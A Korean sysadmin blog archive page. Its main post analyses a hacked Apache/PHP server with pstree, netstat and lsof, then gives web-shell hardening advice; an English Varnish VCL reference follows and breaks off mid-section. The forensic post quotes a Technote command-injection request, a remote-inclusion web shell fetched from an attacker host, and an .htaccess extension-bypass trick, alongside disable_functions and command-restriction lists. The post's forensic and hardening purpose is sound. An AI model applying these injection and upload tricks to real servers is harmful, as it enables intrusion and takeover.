'ACL'에 해당되는 글 4건

  1. 2012.03.05 웹 해킹 서버 분석과 웹쉘 대응방법 (1)
  2. 2010.02.22 Varnish HTTP accelerator (state-of-the-art)
  3. 2009.05.27 UFS(Unix File System) ACL 사용
2012.03.05 09:26

웹 해킹 서버 분석과 웹쉘 대응방법

가끔 접속 자 수도 많지도 않은데 로드가 높아서 서버 접속이 원활하지 못하다거나 나의 서버가 스팸서버로 지정 되어서 상대방에게 메일을 보냈는데도 차단되었다거나 혹은 idc 보안 관제 센터에서 당신네 서버가 외부로 ddos공격을 하고 있으니 빨리 조치를 취하지 않으면 네트워크를 차단시키겠다는 경고성 전화를 받았을 때 어떻게 조치를 취해야 하는지 막막할 경우가 있다.

 

이럴 경우 웹 해킹에 의해서 서버가 해커에 의해 조종되고 있지 않는지 살펴 볼 필요성이 있다이번에는 실제 사례를 가지고 웹 해킹 침해 사고 시 대처 방법을 소개해 보고자 한다.

 
해킹된 서버는 redhat9를 사용하고 있으며 커널 버전은 2.4.20-8이다웹서버는 apache + php + mysql 기반으로 돌아가고 있으며 앞으로 모든 설명을 여기에 맞추어서 진행 하려고 한다. (윈도우에 asp는 해당 사항이 아니다.) 


pstree

init-+-bdflush

     |-crond

     |-httpd-+-40*[httpd]

     |       `-2*[httpd---read.cgi]

     |-httpd---httpd

     |-httpd

     |-kapmd

     |-keventd

     |-khubd

     |-10*[kjournald]

     |-2*[klogd]

     |-kscand/DMA

     |-kscand/HighMem

     |-kscand/Normal

     |-ksoftirqd_CPU0

     |-kswapd

     |-kupdated

     |-mdrecoveryd

     |-6*[mingetty]

     |-named

     |-nohup---a---sshd---101*[sshd]

     |-perl

     |-rhnsd

     |-safe_mysqld---mysqld

     |-sshd---sshd---bash---pstree

     |-11*[sshd]

     |-syslogd

     |-vsftpd

     |-us1---us1

     |-us10---us11

     |-us12---us12

     |-us13---us13

     |-us14---us14

     |-us15---us15

     |-us16---us16

     |-us17---us17

     |-us18---us18

     |-us19---us19

     |-us2---us2

     |-us21---us21

     |-us22---us22

     `-xinetd

pstree명령어는 현재 돌아가고 있는 서버의 프로세스를 한눈에 파악할 수 있는 아주 중요한 명령어이다리눅스 사용자는pstree명령어에 익숙해 져야 한다그냥 시간 날 때 마다 pstree치면서 나오는 결과를 눈에 익도록 하는 게 낫다.

 

위에 출력 결과를 한번 분석해 보도록 하자.

|-httpd-+-40*[httpd]

|       `-2*[httpd---read.cgi]

|-httpd---httpd

|-httpd

 

아파치 웹 서버가 돌아가면 위와 같은 프로세스가 보인다허나 진짜 웹 서버는 첫째 줄 뿐이다나머지는 두번째 줄과 세번째 줄은  웹 서버로 위조된 해킹 프로세스이다.

|-nohup---a---sshd---101*[sshd]

이 부분을 보자 외부로 ssh Login Brute force scan 공격을 하고 있다마찬가지로 us로 시작하는 프로세스도 모두 외부로 공격하는 해킹프로세스이다정상적인 서버에서는 절대 볼 수 없는 프로세스들이다이외에도 perl같은 프로세스도 비정상 프로세스이다.

현재 이 서버는 외부로 공격을 수행하는 해킹 프로세스들이 매우 많이 수행되고 있는 중이다.

 

포트 상태를 점검해서 좀더 자세한 상황을 살펴보자.

# netstat -nlp

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address              Foreign Address   State                    PID/Program name  

tcp         0      0 0.0.0.0:3306                        0.0.0.0:*               LISTEN                655/                

tcp         0      0 0.0.0.0:80              0.0.0.0:*               LISTEN                26032/httpd        

tcp         0      0 0.0.0.0:2                             0.0.0.0:*               LISTEN                612/vsftpd         

tcp         0      0 192.168.10.1:53                    0.0.0.0:*               LISTEN                575/               

tcp         0      0 127.0.0.1:53                        0.0.0.0:*               LISTEN                575/               

tcp         0      0 0.0.0.0:22              0.0.0.0:*               LISTEN                588/sshd           

tcp         0      0 127.0.0.1:953                       0.0.0.0:*               LISTEN                575/               

udp        0      0 0.0.0.0:32768                       0.0.0.0:*                                          575/               

udp        0      0 0.0.0.0:37028                       0.0.0.0:*                           25089/sshd         

udp        0      0 0.0.0.0:37029                       0.0.0.0:*                           25479/httpd        

udp        0      0 192.168.10.1:53                    0.0.0.0:*                           575/               

udp        0      0 127.0.0.1:53                        0.0.0.0:*                           575/               

Active UNIX domain sockets (only servers)

Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path

unix  2      [ ACC ]     STREAM     LISTENING     1318   655/                /var/lib/mysql/mysql.sock

 

정상적인 웹 서버는 다음과 같이 나타난다. 80포트가 열려져 있는 것을 알 수 있다. 26032는 실행되고 있는 아파치 프로세스의 pid이다.

tcp         0      0 0.0.0.0:80              0.0.0.0:*               LISTEN                26032/httpd

 

udp        0      0 0.0.0.0:37029                       0.0.0.0:*                           25479/httpd        

위의 프로세스를 보자. pid 25479인 이 프로세스는 아파치 웹서버 프로세스로 위장 되어 있지만 실질적으로는 37029번 포트로 서비스 되고 있는 hack 프로세스이다그리고 tcp가 아니 udp를 사용하고 있는 것도 눈에 띈다. sshd 프로세스도 마찬가지이다. 22번 포트를 LISTEN하고 있는 pid 588 프로세스가 정상적인 sshd 프로세스이다. 25089프로세스는sshd로 위장된 비 정상적인 프로세스이다.

3306포트와 53번 포트를 리슨하고 있는 것은 각각 mysqld named프로세스로 정상적인 프로세스들이다.

 

이제는 좀더 깊이 들어가서 이 프로세스들이 어디서 실행되고 있는지 한 번 살펴 보자.

lsof -p 25479

lsof 명령어는 파일과 프로세스의 입출력 상태를 나타내주는 명령어로 pstree netstat 다음으로 사용법을 잘 익혀둘 필요가 있는 매우 유용한 명령어이다. p옵션은 프로세스 id의 입출력 상태를 나타내주는 옵션으로 다음 부분을 살펴볼 필요가 있다.

 

COMMAND   PID   USER   FD   TYPE    DEVICE    SIZE      NODE NAME

httpd       25479      apache   cwd       DIR         0,8     280 321300582 /dev/shm/bq

httpd       25479      apache   txt          REG       0,8  612470 321300590 /dev/shm/bq/httpd

httpd       25479      apache   0u          IPv4        563618039 TCP 192.168.10.1:48562

->irc2.saunalahti.fi:ircd (ESTABLISHED)

httpd   25479 apache    5u   REG       3,7       0        55 /tmp/ZCUDUzGlho (deleted)

httpd   25479 apache    6u  IPv4 321303856               UDP *:37029

 

일단 이 위장 프로세스가 실행되고 있는 위치는  /dev/shm/bq/httpd라는 것을 알 수 있다.

192.168.10.1:48562->irc2.saunalahti.fi:ircd (ESTABLISHED)

이 부분을 주의 깊게 살펴 보자현재 해킹된 서버에서 irc2.saunalahti.fi 서버의 6667(ircd)포트로 접속 되어 있는 것을 알 수 있다즉 이 서버는 현재 좀비 컴퓨터화 되어 있다한마디로 말해서 해커가 원격에서 irc bot을 이용하여 이 서버를 자신이 원하는 데로 조종할 수 있다는 말이다이러한 좀비 컴퓨터를 대량으로 확보하면 해커는 보통 분산 서비스 거부 공격(DDOS ATTACK)을 하는데 이용하거나 돈을 받고 팔기도 한다특히 IDC에 상주되어 있는 서버가 해커 손에 넘어가면 최대 100M급의 트래픽 공격을 할 수 있는 든든한 무기를 손에 넣게 된다.

 

USER부분을 살펴보자 apache라고 되어 있다현재 이 서버에서 실행되고 있는 웹서버의 권한이 apache로 웹해킹을 통해서 서버의 apache권한을 획득한 것을 볼 수 있다.

 

다음과 같은 명령으로 이서버의 전체적인 입출력 상태를 체크해 볼 수 있다.

lsof –I –n |grep apache

문제가 되는 apache권한만 살펴 보면 다음과 같은 입출력 상태가 2~300개씩 나타나고 있었다.

 

sshd    23901 apache    8u  IPv4 397205096       TCP 192.168.10.1:56970->217.18.114.168:ssh (ESTABLISHED)

외부에 ssh스캔 공격을 하고 있을 때의 대표적 증상이다만약 다량의 스팸 메일을 보낸다면 외부 ip 25번포트(SMTP포트)로 수많은 연결이 보일 것이다이 외에도 ircd로의 접근도 포착 될 것이다.

lsof 명령어는 서버의 입출력 상태를 점검할 때 매우 유용한 명령어이니 잘 익혀두는 것이 좋다.

 

일단 hack process가 설치된 /dev 디렉터리를 좀더 자세히 점검해 보자.

find /dev –type f

일단 정상적인 경우를 살펴보자

 

/dev/.udev.tdb

/dev/MAKEDEV

centos5같은 경우

/dev/.udev 디렉토리와 그 아래 디렉토리만 파일들만 있어야지 정상이다.

 

find 명령어로 살펴보니 아래와 같은 많은 수많은 hack tool들이 설치 되어 있는 것을 확인 할 수 있었다.

/dev/MAKEDEV

/dev/shm/stopex.pl

/dev/shm/bq/raw.session

/dev/shm/bq/Presedinte.seen

/dev/shm/bq/Silvic.seen

/dev/shm/bq/RamonaT.seen

/dev/shm/bq/httpd

/dev/shm/bq/3

/dev/shm/st/src/dcc.c

/dev/shm/st/src/parse.c

/dev/shm/st/src/main.c

/dev/shm/st/src/gencmd.c

/dev/shm/st/src/Makefile

 

웹쉘 권한을 얻었을 때 이와 같은 툴들이 설치되는 이유는 퍼미션 때문이다.

 

ll –ld /dev/shm

drwxrwxrwt 2 root root 40 Nov  6 13:33 /dev/shm

/dev/shm, /var/tmp, /tmp 폴더등은 1777권한을 가지고 있기 때문에 웹쉘을 통해 권한을 얻었을 경우 쉽게 해킹툴들을 업로드 하고 이를 실행 시키는데 사용되는 디렉터리로 평소 주의를 기울여 관리해야 한다이외에도 디렉터리에 apache nobody유저에 쓰기 권한을 주거나 777같은 퍼미션을 주는 경우는 매우 잘못된 습관이라고 할 수 있다.

 

# cd /dev/shm/st

[root@canacom st]# ll

합계 836

-rwxr-xr-x    1 apache   apache       2156  7 11  2005 Makefile

-rwxr-xr-x    1 apache   apache      20358  1  2  2003 configure

-rwxr-xr-x    1 apache   apache     585643  1  4  2007 sshd

-rwxr-xr-x    1 apache   apache      17495  1  4  2007 stealth

 

보면 apache권한을 가지고 있는 것을 알 수 있다.

lsof 명령어로 보여주는 결과 값이 너무 길어서 의미가 있는 것 만 적었다다음 perl명령어는 원격에서 root로 쉘 권한을 가지고 직접 접속해서 명령을 내린 것으로 해커가 어떤 방법을 써서 아파치 권한에서 root로 권한이 상승 된 것을 확인 할 수 있다.

 

lsof -p 6411

COMMAND  PID USER   FD   TYPE    DEVICE     SIZE   NODE NAME

perl    6411 root  cwd    DIR       3,7     4096  87745 /tmp/.tmp

perl    6411 root  rtd    DIR      22,9     4096      2 /

perl    6411 root  txt    REG       3,5    12572  33642 /usr/bin/perl

perl    6411 root    0u   CHR     136,1               3 /dev/pts/1

perl    6411 root    1u   CHR     136,1               3 /dev/pts/1

perl    6411 root    2u   CHR     136,1               3 /dev/pts/1

perl    6411 root    3r   REG       3,7   116030  87748 /tmp/.tmp/bnc

perl    6411 root    4u  IPv4 398045837             TCP *:24338 (LISTEN)

perl    6411 root    5r   DIR       3,7     4096  43873 /tmp/.tmp/logs

perl    6411 root    6u  IPv4 398046908             TCP 192.168.10.1:24338->189.14.64.131:1327 (ESTABLISHED)

perl    6411 root    7u  IPv4 398046908             TCP 192.168.10.1:24338->189.14.64.131:1327 (ESTABLISHED)

perl    6411 root    8u  IPv4 398049150             TCP 192.168.10.1:35825->own.ipapo.org:ircd (ESTABLISHED)

 

다음 부분을 주목해서 보자.

perl    6411 root    0u   CHR     136,1               3 /dev/pts/1

원격 터미널을 통해서 슈퍼유저 권한으로 로그인한 것으로 추정된다이 상태에서 이미 최상위 권한을 탈취했으므로 이 시스템은 완전히 해커에게 장악 당했다고 볼 수 있다.

 

다음과 같은 명령으로 서버에서 실행되는 백 도어 프로세스에 관한 좀더 자세한 정보를 알 수 있다테크노트 게시판의 취약점을 이용해서 원격에서 쉘 명령어를 실행 시킨 것을 알 수 있다.

 

#ps -auxe --cols=3000

/usr/sbin/sshd shd _CMD=cd /dev/shm/n; nohup ./start 217 >>/dev/null & 2>&1;pwd SERVER_SIGNATURE=<ADDRESS>Apache/1.3.31 Server at test.co.kr

Port 80</ADDRESS>?

HTTP_USER_AGENT=Getter/0.1

SERVER_PORT=80

HTTP_HOST=www.test.co.kr

DOCUMENT_ROOT=/home/test/public_html SCRIPT_FILENAME=/home/test/public_html/technote/main.cgi REQUEST_URI=/technote/main.cgi?down_num=784879&board=any&command=down_load&filename=getfile.txt%3Bsh%20-c%20%22%24HTTP_CMD%22| SCRIPT_NAME=/technote/main.cgi

REMOTE_PORT=55507

PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin

HTTP_TE=deflate;q=0.3

PWD=/dev/shm/n

QUERY_STRING=down_num=784879&board=any&command=down_load&filename=getfile.txt%3Bsh%20-c%20%22%24HTTP_CMD%22|

SERVER_ADDR=192.168.10.1

GATEWAY_INTERFACE=CGI/1.1

SERVER_PROTOCOL=HTTP/1.0

REQUEST_METHOD=GET _=./sshd

 

테크노트 cgi 관한 원격 명령어 실행 취약점은 국정원에서 발표한 보안 취약점 8종의 한가지로 반드시 최신 버전의 테크노트로 업그레이드 하여야 한다.

 

또한 php를 사용할 경우는 반드시 php.ini 파일에

allow_url_fopen = Off

register_globals = Off

로 해놓는 것을 명심하자지금까지 경험한 바로 php경우 대부분 저 두 옵션으로 인하여 문제가 발생했다.

또한 php 개발자분들께 당부하고 싶은 것은 위의 두 옵션을 끄고 코딩을 해야 한다는 것이다그렇지 않을 경우 원한 던 그렇지 않던 잠재적인 보안 위협을 가진 소스를 만들어 내게 된다.

 

지금까지 웹 해킹 침해 사고를 당한 시스템을 간단하게 분석해 보았다. pstree, netstat, lsof, ps 명령어등은 리눅스에서 트러블슈팅을 하는데 정말 요긴하게 사용하는 명령어이므로 사용법을 자세하게 알아둘 필요가 있다일단 해커가 웹 쉘 권한을 얻으면 가능한 모든 디렉터리에 웹 쉘을 업로드 하여 하나의 침입경로가 막히면 다른 경로로 들어오기 때문에 대처하는데 어려움이 따른다.

 

그렇기 때문에 다시 한번 강조하지만 allow_url_fopen = Off, register_globals = Off 잊지 말도록 하자.


일단 웹쉘이 서버에 업로드 되면 그 서버는 해커의 수중에 들어 갔다고 보아야 한다이후 해커는 다양한 방법으로 서버의 정보를 취득하고 해킹툴을 이용해서 권한 상승을 노린다.

 

allow_url_fopen = On인 웹 페이지 취약점을 통해 다음과 같이 쉘권한을 얻을 수 있다. 

  
http://www.test.com/Test.php  ----------------->   http://hack.com/webshell.txt
  

타킷서버의 Test.php에 취약점이 존재하는 경우 hack.com에 존재하는 webshell을 불러들여 쉘 권한을 획득 한 다음 내부 서버의 정보를 모으고 백도어를 설치하고 권한 상승을 노린다대표적으로 구 제로보드에서 많이 발생하고 있다.

웹쉘 실행 화면

 

이제부터 이러한 웹쉘에 대한 대응 방법에 대해 몇 가지 알아 보려고 한다.

 

우선 첫째로 당연한 것이겠지만 자신이 운영하고 있는 웹소스에서 보안 취약점을 제거해야 한다하지만 이것은 실제적으로 침해사고를 당하지 않는 한 탐지하기가 어려운 면이 있다특히 자신이 개발자가 아니고 단순히 운영만 하는 입장이라면 더욱 그렇다하지만 널리 알려진 웹 보안 취약점은 modsecurity 같은 무료 웹 방화벽으로 공격을 사전 차단 할 수 있을 뿐 아니라 차단 기능을 꺼 놓고 로그만 기록하게 해도 나중에 사고를 당했을시 로그 분석을 통해 원인을 찾는데 도움이 되므로 가능한 운영하는게 좋다공개 무료 웹방화벽 운영에 관한 자료는 정보보호진흥원에서 운영하는 다음 사이트에서 많은 도움을 받을 수 있다.

http://www.krcert.or.kr/firewall2/index.jsp

 

두번째는 필요없는 php 함수들은 사용 할 수 없게 하는 것도 하나의 방법이다설정은 php.ini  다음과 같은 방법으로 할 수 있다.

 

대부분이 서버의 정보를 보여주는 설정들이다서비스에 별 필요 없는 기능들이고 서버에 어떠한 영향을 주는 함수들은 아니지만 해커에 의해 악용 될 수 있기 때문에 막아 놓은 것이 나을것이다.

disable_functions = php_uname, ini_set, getenv, get_user, phpversion, ini_get, ini_get_all, phpinfo, system, exec, passthru, escapeshellcmd, pcntl_exec, shell_exec

특히 주의할 점은 system, exec, passthru, escapeshellcmd, pcntl_exec, shell_exec 함수들은 서버상에서 운영체제 명령어를 실행 시키는 명령들이다일단 웹쉘이 업로드 되면 위의 함수들로 서버상에서 작업을 할 수 있으므로 막는게 좋으나 실제 운영되고 있는 홈페이지에서도 사용 할 수 있으므로 잘 알아 보고 필요한 함수는 빼고 설정 하는 것이 좋다.

 

세번째는 파일업로드 기능을 사용하지 않는다면 php.ini 에서 file_uploads 기능을 off 시키거나 파일 업로드를 한다면 업로드 디렉터리에 .htaccess을 사용해 업로드 되는 디렉터리에서는 php를 아예 사용 할 수 없게 하는 것이다.

 

파일을 업로드 시키는 디렉터리에 다음과 같이 .htaccess 파일을 작성하자.

 

<FilesMatch "\.(html|htm|php|pl|cgi|inc|lib)">

Order allow,deny

Deny from all

</FilesMatch>

해당 확장자로 끝나는 파일들은 접속이 금지된다.

 

이 방법은 해커가 웹쉘을 업로드 할 때도 사용 할 수 있다.

만약 php확장자를 가진 소스를 업로드 하지 못하게 했다면 해커는 다음과 같이 하여 확장자를 우회할 수 있다.

다음 내용을 가진 .htaccess파일을 업로드 시킨다.

AddType application/x-httpd-php  .txt

이후 txt 파일은 모두 php로 인식한다해커는 웹쉘의 확장자를 txt파일로 변경하여 서버에 올리면 된다.마찬가지 방법으로 다음과 같은 .htaccess 파일을 올려서 바이러스나 해킹툴을 설치하기도 한다.

ErrorDocument 403 http://www.hacktest.co.kr/hack.txt

ErrorDocument 404 http://www.hacktest.co.kr/hack.txt

 

이는 다음과 같은 명령어로 탐지가 가능하다.

find `locate .htaccess` -exec egrep -l -i ‘txt’ {} \; 2>/dev/null

find `locate .htaccess` -exec egrep -l –I ‘http://’ {} \; 2>/dev/null

 

그 다음으로 할 일은 서버에 업로드 된 웹쉘을 제거하는 일이다한국 정보보호진흥원에서 개발한 웹 쉘 탐지 프로그램 Whistl을 이용하여 서버에 업로드 된 웹쉘을 제거 할 수 있다이 프로그램은 리눅스는 물론 윈도우에서도 동작하고 정확성도 높기 때문에 웹쉘 탐지 및 제거에 매우 추천 할 만한 프로그램이다.

프로그램은 다음 사이트의 공지사항에서 신청서를 작성한 후 신청하면 사용 할 수 있다.

http://www.krcert.or.kr/index.jsp

사용방법은 상당히 직관적이고 쉬운편이다보내온 프로그램의 압축을 풀면 프로그램과 함께 설명서에 사용법이 적혀져 있다다음과 같이 간단히 사용 할 수 있다.

./whistl_kernel_2.6 –c

우선 자기 서버에 맞게 환경 설정을 해준다.

whistl Configuration

        [1] Checking Directory : /home/sungon

        [2] Inspection Center directory : /tmp

        [3] Extension of php     : inc,php,php3,php4,php5,ph

        [4] Extension of jsp     : jsp,js

        [s] save

        [q] quit

1번 메뉴를 누르고 검사할 디렉터리를 지정해 준다. /home 폴더 전체를 지정해 줄 수도 있다.

Choose Menu : 1

Checking Directory :/var/www/html

 

        [1] Checking Directory : /var/www/html

        [2] Inspection Center directory : /tmp

        [3] Extension of php     : inc,php,php3,php4,php5,ph

        [4] Extension of jsp     : jsp,js

        [s] save

        [q] quit

3번 메뉴을 누르고 검사할 파일의 확장자를 지정해 준다. txt확장자를 추가해 주었다.

Choose Menu : 3

Extension of php :inc,php,php3,php4,php5,ph,txt

 

        [1] Checking Directory : /var/www/html

        [2] Inspection Center directory : /tmp

        [3] Extension of php     : inc,php,php3,php4,php5,ph,txt

        [4] Extension of jsp     : jsp,js

        [s] save

        [q] quit

Choose Menu : s

 

        [1] Checking Directory : /var/www/html

        [2] Inspection Center directory : /tmp

        [3] Extension of php     : inc,php,php3,php4,php5,ph,txt

        [4] Extension of jsp     : jsp,js

        [s] save

        [q] quit

Choose Menu : q

 

다음과 같이 검사를 하면

./whistl_kernel_2.6

id : testid

pwd : password

Checking the configration

        [Config] Checking directory : /var/www/html

        [Config] Inspection Center directory : /tmp

 

Checking the update status

        [INFO] Pattern Update Finished

 

Checking /var/www/html directory

        [5 Found] /var/www/html/test2.php

        [18 Found] /var/www/html/test.txt

 

Check Result

        [INFO] 2 Files checked

        [INFO] 2 Suspected WebShell

        [INFO] Time cost : 00:00:10

        [INFO] Finish sending the checking result

웹쉘이 탐지되는 것을 알 수 있다. [5 Found]  [18 Found] 같은 숫자는 해당 파일에서 모두 5개의 웹쉘 패턴이 일치되었다는 것을 말한다. 5이상은 웹쉘이 거의 확실하지만 일치되는 패턴 숫자가 1이나 2이라면 정상적인 파일이 아닌지 확인해 봐야 한다경험상 1이나 2는 거의 정상적인 파일이고 패턴대응 숫자가 5이상이면 웹쉘이 확실하다고 보면 된다.

다만 아쉬운 점은 프로그램이 복수의 확장자를 지원하지 않는다는 사실이다아파치(apache)에서는 복수의 확장자를 지원하기 때문에 webshell.php.test 같은 확장자를 가진 프로그램도 모두 php로 인식한다때문에 확장자를 약간만 변경하면 탐지프로그램을 우회할 수 있다.

이 부분은 추후에 개선이 되야 할 사항 같다.

 

리눅스를 사용하는 경우에는 디렉터리나 파일의 퍼미션에도 신경을 써야 한다. 777 퍼미션이나 파일이나 디렉터리에 apache nobody로 소유권을 설정하는 것은 가능한 피해야 한다.

업로드 디렉터리나 세션이 저장되는 디렉터리에는 어쩔 수 없이 707 퍼미션을 주어야 겠지만 그 외의 디렉터리에는 701 퍼미션을 주고 파일에는 644 퍼미션을 준다. cgi같은 경우에는 755퍼미션을 주지 않으면 실행이 되지 않으므로 주의한다.

 

그외에도 /etc/cron.daily에 스크립트를 하나 만들어 다음과 같이 명령어에 제한을 걸어 슈퍼유저외에는 사용을 못하게 할 수도 있다.

 

#!/bin/sh

chmod 701 /

chmod 701 /home

 

cd /etc

chmod 600 fstab

chmod 600 hosts.*

chmod 600 modprobe.conf

chmod 600 sysctl.conf

chmod 600 redhat-release

 

cd /usr/bin

chmod 700 wget

chmod 700 lynx

chmod 700 curl

chmod 700 lwp-*

chmod GET

 

만약 사용되고 있는 서버가 여러 유저들이 모두 같이 사용하는 서버라서 명령어 제한이 자유롭지 못하다며acl 기능을 사용해서 nobody권한의 유저만 제한을 걸 수 도 있다.

acl 기능은 다음과 같이 하면 사용 할 수 있다.

 

vi /etc/fstab

/dev/sda8               /                       ext3    defaults,acl        1 1

/dev/sda7               /usr                    ext3    defaults,acl        1 2

이렇게 acl을 옵션으로 붙여주고 다시 리마운트 한다.

mount -o remount /

mount -o remount /usr

 

다음과 같이 제한하고자 하는 명령어에 nobody유저만 접근이 안되게 한다.

setfacl -R -m u:nobody:- `which find`

setfacl -R -m u:nobody:- `which ls`

setfacl -R -m u:nobody:- `which chmod`

setfacl -R -m u:nobody:- `which echo`

setfacl -R -m u:nobody:- `which cat`

 

정책이 정확하게 적용이 되었는지 확인한다.

ls –al `which find`

-rwxr-xr-x+ 1 root root 52460 Oct 20  2004 /usr/bin/find

끝에 +가 붙어 있으면 acl기능이 작동을 하는 것이다. acl기능을 제거 하려고 하면 다음과 같이 하면 된다.

setfacl -b /usr/bin/find

이상으로 웹 해킹 서버에 대한 간단한 분석 방법과 서버에서의 웹쉘에 대한 대처 방법에 대해 마치려고 한다웹서버 보안은 하나의 보안 어플리케이션으로 모든 것을 완벽하게 막을 수는 없다가능한 알고 있는 모든 방법을 다 적용하여서 조금씩 보안 허점을 줄여 나가는 수밖에 없다또한 리눅스 같은 경우 반드시 방화벽 정책을 수립하여 운영함으로써 해커가 서버를 악의적으로 운영하거나 외부로 공격을 하지 못하게 해야 한다이에 관해서는 차후에 다루어 보도록 하겠다.



by 블루웹 시스템연구개발팀 양선곤 http://blog.blueweb.co.kr/


Trackback 3 Comment 1
  1. 박병권 2012.03.06 09:23 address edit & del reply

    좋은글 감사합니다.

2010.02.22 20:40

Varnish HTTP accelerator (state-of-the-art)

VCL - Varnish configuation Language

The VCL language is a small domain-specific language designed to be used to define request handling and document caching policies for the Varnish HTTP accelerator. When a new configuration is loaded, the varnishd management process translates the VCL code to C and compiles it to a shared object which is then dynamically linked into the server process.

Examples

Other users have contributed examples from their VCLs to solve common problems.

Syntax overview

The VCL syntax is very simple, and deliberately similar to C and Perl. Blocks are delimited by curly braces,statements end with semicolons, and comments may be written as in C, C++ or Perl according to your own preferences.

  • In addition to the C-like assignment (=), comparison (==) and boolean (!, && and ||) operators, VCL supports regular expression and ACL matching using the ~ operator.
  • Unlike C and Perl, the backslash (\) character has no special meaning in strings in VCL, which use the (%xx) escape mechanism just like URLs, so it can be freely used in regular expressions without doubling.
  • Assignments are introduced with the set keyword. There are no user-defined variables; values can only be assigned to variables attached to backend, request or document objects. Most of these are typed, and the values assigned to them must have a compatible unit suffix.
  • VCL has if tests, but no loops.
  • The contents of another VCL file may be inserted at any point in the code by using the include keyword followed by the name of the other file as a quoted string.

Backend declarations

A backend declaration creates and initializes a named backend object:

backend www {
  .host = "www.example.com";
  .port = "http";
}

The backend object can later be used to select a backend at request time:

if (req.http.host ~ "^(www.)?example.com$") {
   set req.backend = www;
}

The timeout parameters can be overridden in the backend declaration. The timeout parameters are .connect_timeout for the time to wait for a backend connection, .first_byte_timeout for the time to wait for the first byte from the backend and .between_bytes_timeout for time to wait between each received byte.

These can be set in the declaration like this:

backend www {
   .host = "www.example.com";
   .port = "http";
   .connect_timeout = 1s;
   .first_byte_timeout = 5s;
   .between_bytes_timeout = 2s;
}

You can limit the amount of connections varnish will send to a backend like this:

backend www {
   .host = "www.example.com";
   .port = "http";
   .max_connections = 200; 
}

Directors

Directors choose from different backends based on health status and a per-director algorithm. There currently exists a round-robin and a random director.

Directors are defined using:

director b2 random {
    .retries = 5;
    {
     /* We can refer to named backends */
     .backend        = b1;
     .weight         = 7;
    }
    {
     /* Or define them inline */
     .backend        = {
         .host = "fs2";
     }
     .weight         = 3;
    }
}

The random director

The random director takes one per-director option .retries. This specifies how many tries it will use to find a working backend. The default is the same as the number of backends defined for the director.

There is also a per-backend option: weight which defines the portion of traffic to send to the particular backend.

The round-robin director

The round-robin does not take any options.

Backend probes

Backends can be probed to see whether they should be considered healthy or not. The return status can also be checked by using req.backend.healthy .window is how many of the latest polls we examine, while .threshold is how many of those must have succeeded for us to consider the backend healthy.

backend www {
   .host = "www.example.com";
   .port = "http";
   .probe = {
     .url = "/test.jpg";
     .timeout = 0.3 s;
     .window = 8;
     .threshold = 3;
   }
}

It is also possible to specify the raw HTTP request.

backend www {
   .host = "www.example.com";
   .port = "http";
   .probe = {
     # NB: \r\n automatically inserted after each string!
     .request ==
       "GET / HTTP/1.1"
       "Host: www.foo.bar"
       "Connection: close";
   }
}

ACLs

An ACL declaration creates and initializes a named access control list which can later be used to match client addresses:

acl local {
    "localhost"; /* myself */
    "192.0.2.0"/24; /* and everyone on the local network */
    ! "192.0.2.23"; /* except for the dialin router */
}

If an ACL entry specifies a host name which Varnish is unable to resolve, it will match any address it is compared to. Consequently, if it is preceded by a negation mark, it will reject any address it is compared to, which may not be what you intended. If the entry is enclosed in parentheses, however, it will simply be ignored.

To match an IP address against an ACL, simply use the match operator:

if (client.ip ~ local) {
   pipe;
}

Grace

If the backend takes a long time to generate an object there is a risk of a thread pile up. In order to prevent this you can enable grace. This allows varnish to serve an expired version of the object while a fresh object is being generated by the backend.

The following vcl code will make Varnish serve expired objects. All object will be kept up to two minutes past their expiration time or a fresh object is generated.

sub vcl_recv {
    set req.grace = 2m;
}

sub vcl_fetch {
    set obj.grace = 2m;
}

Functions

The following built-in functions are available:

regsub(str, regex, sub)

Returns a copy of str with the first occurrence of the regular expression regex replaced with sub. Within sub, \0 (which can also be spelled &) is replaced with the entire matched string, and \n is replaced with the contents of subgroup n in the matched string. VCL uses your libc's extended expression support, which in most cases is POSIX Extended Regular Expressions.

regsuball(str, regex, sub)

As regsub() but this replaces all occurrences.

purge( str )

Purge objects based on a list of conditions. For the purge to happen, every condition must be met. For example:

  purge( "req.url == / && obj.http.foo ~ bar" );

See VCLExamplePurging for more code examples

purge_url(regex)

Purge all objects in cache whose URLs match regex. For example:

  purge_url( "^/foo$" );

See VCLExamplePurging for more code examples

purge_hash(regex)

Purge all objects in cache whose hash strings match regex.

See VCLExamplePurging for more code examples

Subroutines

A subroutine is used to group code for legibility or reusability:

sub pipe_if_local {
    if (client.ip ~ local) {
       pipe;
    }
}

Subroutines in VCL do not take arguments, nor do they return values.

If multiple subroutines with the same name are defined, they are concatenated in the order in which the appear in the source.

To call a subroutine, use the call keyword followed by the subroutine’s name:

call pipe_if_local;

Special subroutines

There are a number of special subroutines which hook into the Varnish workflow. These subroutines may inspect and manipulate HTTP headers and various other aspects of each request, and to a certain extent decide how the request should be handled. Each subroutine terminates by calling one of a small number of keywords which indicates the desired outcome.

Graphical Overview

To see a description of the default VCL and to see a flow chart of how HTTP requests go through VCL please see the default VCL page.

vcl_recv

Called at the beginning of a request, after the complete request has been received and parsed. Its purpose is to decide whether or not to serve the request, how to do it, and, if applicable, which backend to use.

The vcl_recv subroutine may terminate with one of the following keywords:

error code [reason]

Return the specified error code to the client and abandon the request.

pass

Switch to pass mode. Control will eventually pass to vcl_pass.

pipe

Switch to pipe mode. Control will eventually pass to vcl_pipe.

lookup

Look up the requested object in the cache. Control will eventually pass to vcl_hit or vcl_miss, depending on whether the object is in the cache.

vcl_pipe

Called upon entering pipe mode. In this mode, the request is passed on to the backend, and any further data from either client or backend is passed on unaltered until either end closes the connection.

The vcl_pipe subroutine may terminate with one of the following keywords:

error code [reason]

Return the specified error code to the client and abandon the request.

pipe

Proceed with pipe mode.

vcl_pass

Called upon entering pass mode. In this mode, the request is passed on to the backend, and the backend’s response is passed on to the client, but is not entered into the cache. Subsequent requests submitted over the same client connection are handled normally.

The vcl_pass subroutine may terminate with one of the following keywords:

error code [reason]

Return the specified error code to the client and abandon the request.

pass

Proceed with pass mode.

Note: You must have a backend selected by the end of the vcl_pass function, otherwise you'll get a 503 response, as Varnish won't know where to direct the request.

vcl_hash

Use req.hash += req.http.Set-Cookie or similar to include the Set-Cookie HTTP header in the hash string. The vcl_hash subroutine may terminate with one of the following keywords:

hash

Proceed.

vcl_hit

Called after a cache lookup if the requested document was found in the cache.

The vcl_hit subroutine may terminate with one of the following keywords:

error code [reason]

